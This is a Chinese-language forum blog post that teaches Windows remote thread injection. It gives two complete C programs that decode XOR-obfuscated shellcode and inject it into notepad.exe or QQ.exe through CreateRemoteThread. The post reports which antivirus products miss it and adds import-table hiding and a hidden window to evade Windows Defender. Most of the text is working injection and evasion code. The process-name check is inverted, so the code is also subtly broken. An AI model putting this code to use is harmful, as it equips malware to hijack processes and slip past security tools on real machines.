远线程注入

Author:ILU

学的越多,才知道自己的渺小

前言

前两天更新了过waf相关的内容,这部分内容其实是为了调剂下枯燥的win32学习过程。开心的是阅读的人蛮多的,伤心的是没人进星球,可能太基础了吧。

今天要写的是远线程注入相关的知识,此部分可以对远程进程进行shellcode注入,dll注入或者代码的注入等。C语言真的很强大,对于操作系统来讲,无所不能啊。

正题

什么是远线程注入?

远程线程注入是指一个进程在另一个进程中创建线程的技术

举个例子:比如说我当前打开了一个进程A,然后通过某些手段:比如自己写一个程序,利用此程序获取当前打开进程A的句柄(句柄相当于一个控制器,我们拿到指定进程的句柄我们就可以对此进程做一些控制),然后通过句柄在进程A中调用我们想要执行的代码等等操作。

OpenProcess

OpenProcess 函数打开一个现有的进程对象。

HANDLE OpenProcess(
  DWORD dwDesiredAccess,  // 访问进程对象标志
  BOOL bInheritHandle,    // 是否继承句柄权限
  DWORD dwProcessId       // 要打开的进程id,也就是pid
);
VirtualAllocEx

VirtualAllocEx 函数在指定进程的虚拟地址空间内保留或提交内存区域。 该函数将其分配的内存初始化为零,除非使用 MEM_RESET。

LPVOID VirtualAllocEx(
  HANDLE hProcess,          // 打开的进程句柄
  LPVOID lpAddress,         // 设置为NULL 
  SIZE_T dwSize,            // 申请的内存大小
  DWORD flAllocationType,   // 指定内存分配的类型
  DWORD flProtect           // 设置内存的权限
);
WriteProcessMemory

WriteProcessMemory 函数将数据写入指定进程中的内存区域。 要写入的整个区域必须可访问,否则操作将失败。

BOOL WriteProcessMemory(
  HANDLE hProcess,                // 打开的进程句柄
  LPVOID lpBaseAddress,           // 申请的内存地址
  LPCVOID lpBuffer,               // 要写入内存的数据
  SIZE_T nSize,                   // 数据的大小
  SIZE_T * lpNumberOfBytesWritten // NULL
);
CreateRemoteThread

CreateRemoteThread 函数创建一个在另一个进程的虚拟地址空间中运行的线程。

HANDLE CreateRemoteThread(
  HANDLE hProcess,                          // 进程句柄
  LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全属性,不设置就写NULL或0
  SIZE_T dwStackSize,                       // 初始堆栈大小,不设置就写NULL或0
  LPTHREAD_START_ROUTINE lpStartAddress,    // 要执行的线程函数
  LPVOID lpParameter,                       // 函数的参数
  DWORD dwCreationFlags,                    // 指定控制线程创建的附加标志,设置NULL
  LPDWORD lpThreadId                        // 线程ID
);
CreateToolhelp32Snapshot

CreateToolhelp32Snapshot函数拍摄进程以及进程使用的堆、模块和线程的快照。

HANDLE WINAPI CreateToolhelp32Snapshot(  
    DWORD dwFlags,          //指定要包含在快照中的系统部分。 
    DWORD th32ProcessID     //指定进程id,没有就设置NULL
);

dwFlags
    TH32CS_SNAPPROCESS 在快照中包含进程列表。
Process32First

检索有关系统快照中遇到的第一个进程的信息。

BOOL WINAPI Process32First(  
    HANDLE hSnapshot,       // 快照句柄 
    LPPROCESSENTRY32 lppe   // 指向 PROCESSENTRY32 结构的指针。
);
Process32Next

检索有关系统快照中记录的下一个进程的信息

BOOL WINAPI Process32Next(  
    HANDLE hSnapshot,       // 快照句柄 
    LPPROCESSENTRY32 lppe   // 指向 PROCESSENTRY32 结构的指针。
);

通过遍历当前进程向指定进程注入shellcode

#include <Windows.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h>
#include <TlHelp32.h>

BOOL WINAPI MyCreateRemoteThread(DWORD dwProcessId) {
    HANDLE hProcess = NULL;;
    DWORD dwThreadId = 0;
    HANDLE hThread = NULL;
    LPVOID lPmemory = 0;
    unsigned char buf[] = "异或后的shellcode";
    // 异或还原代码
    for (int i = 0; i < sizeof(buf); i++) {
        buf[i] ^= 50;
    }
    // 打开进程
    hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE, dwProcessId);
    if (hProcess == NULL) {
        printf("%d\n", GetLastError());
        return FALSE;
    }
    // 申请内存
    lPmemory = VirtualAllocEx(hProcess, 0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    // 写入内存
    WriteProcessMemory(hProcess, lPmemory, buf, sizeof(buf), NULL);
    // 创建线程
    hThread = CreateRemoteThread(
        hProcess,
        NULL,
        NULL,
        (LPTHREAD_START_ROUTINE)lPmemory,
        NULL,
        NULL,
        &dwThreadId
    );
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return TRUE;
}


int main() {
    // 遍历进程获取指定进程id
    HANDLE         hProcessSnap = NULL;
    BOOL           bRet = FALSE;
    PROCESSENTRY32 pe32 = { 0 };
    DWORD dwProcessId;
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (hProcessSnap != INVALID_HANDLE_VALUE) {
        bRet = Process32First(hProcessSnap, &pe32);
        while (bRet) {
            if (_stricmp(pe32.szExeFile, "notepad.exe")) {
                dwProcessId = pe32.th32ProcessID;

            }
            bRet = Process32Next(hProcessSnap, &pe32);
        }
    }
    // 远线程注入函数调用
    MyCreateRemoteThread(dwProcessId);
    return 0;
}

编译火绒没报毒,物理机defender扫描没报毒,且正常上线。但是在server 2016的defender会主动杀掉,看来还需要进一步做处理,对导入地址表中的函数做一下隐藏,也许会好点。

隐藏函数IAT
#include <Windows.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h>
#include <TlHelp32.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) // 隐藏黑框

typedef LPVOID (WINAPI* oldVirtualAllocEx)(HANDLE hProcess,LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect);

typedef BOOL (WINAPI* oldWriteProcessMemory)(HANDLE hProcess,LPVOID lpBaseAddress,LPCVOID lpBuffer,SIZE_T nSize,SIZE_T* lpNumberOfBytesWritten);

typedef HANDLE (WINAPI* oldCreateRemoteThread)(HANDLE hProcess,LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId);

typedef HANDLE (WINAPI* oldCreateToolhelp32Snapshot)(DWORD dwFlags,DWORD th32ProcessID);

typedef DWORD (WINAPI* oldWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);
BOOL WINAPI MyCreateRemoteThread(DWORD dwProcessId) {
    HANDLE hProcess = NULL;;
    DWORD dwThreadId = 0;
    HANDLE hThread = NULL;
    LPVOID lPmemory = 0;
    unsigned char buf[] = "";
    for (int i = 0; i < sizeof(buf); i++) {
        buf[i] ^= 50;
    }
    hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE, dwProcessId);
    if (hProcess == NULL) {
        printf("%d\n", GetLastError());
        return FALSE;
    }
    oldVirtualAllocEx newVAE = (oldVirtualAllocEx)GetProcAddress(GetModuleHandleA("kernel32.dll"),"VirtualAllocEx");
    oldWriteProcessMemory newWPM = (oldWriteProcessMemory)GetProcAddress(GetModuleHandleA("kernel32.dll"),"WriteProcessMemory");
    oldCreateRemoteThread newCRTE= (oldCreateRemoteThread)GetProcAddress(GetModuleHandleA("kernel32.dll"),"CreateRemoteThread");
    oldWaitForSingleObject newWFSO= (oldWaitForSingleObject)GetProcAddress(GetModuleHandleA("kernel32.dll"),"WaitForSingleObject");
    lPmemory= newVAE(hProcess, 0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    newWPM(hProcess, lPmemory, buf, sizeof(buf), NULL);
    hThread = newCRTE(
        hProcess,
        NULL,
        NULL,
        (LPTHREAD_START_ROUTINE)lPmemory,
        NULL,
        NULL,
        &dwThreadId
    );
    newWFSO(hThread, INFINITE);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return TRUE;
}


int main() {
    HANDLE         hProcessSnap = NULL;
    BOOL           bRet = FALSE;
    PROCESSENTRY32 pe32 = { 0 };
    DWORD dwProcessId;
    oldCreateToolhelp32Snapshot newCT32 = (oldCreateToolhelp32Snapshot)GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateToolhelp32Snapshot");
    hProcessSnap = newCT32(TH32CS_SNAPPROCESS, NULL);
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (hProcessSnap != INVALID_HANDLE_VALUE) {
        bRet = Process32First(hProcessSnap, &pe32);
        while (bRet) {
            if (_stricmp(pe32.szExeFile, "QQ.exe")) {
                dwProcessId = pe32.th32ProcessID;   
            }
            bRet = Process32Next(hProcessSnap, &pe32);
        }
    }
    MyCreateRemoteThread(dwProcessId);
    return 0;
}

IAT隐藏后还是过不了server 2016 的windows defender,还需要进一步针对性的做处理,但是目前来讲能过其他大部分的杀软。

点击收藏 | 2 关注 | 1
登录 后跟帖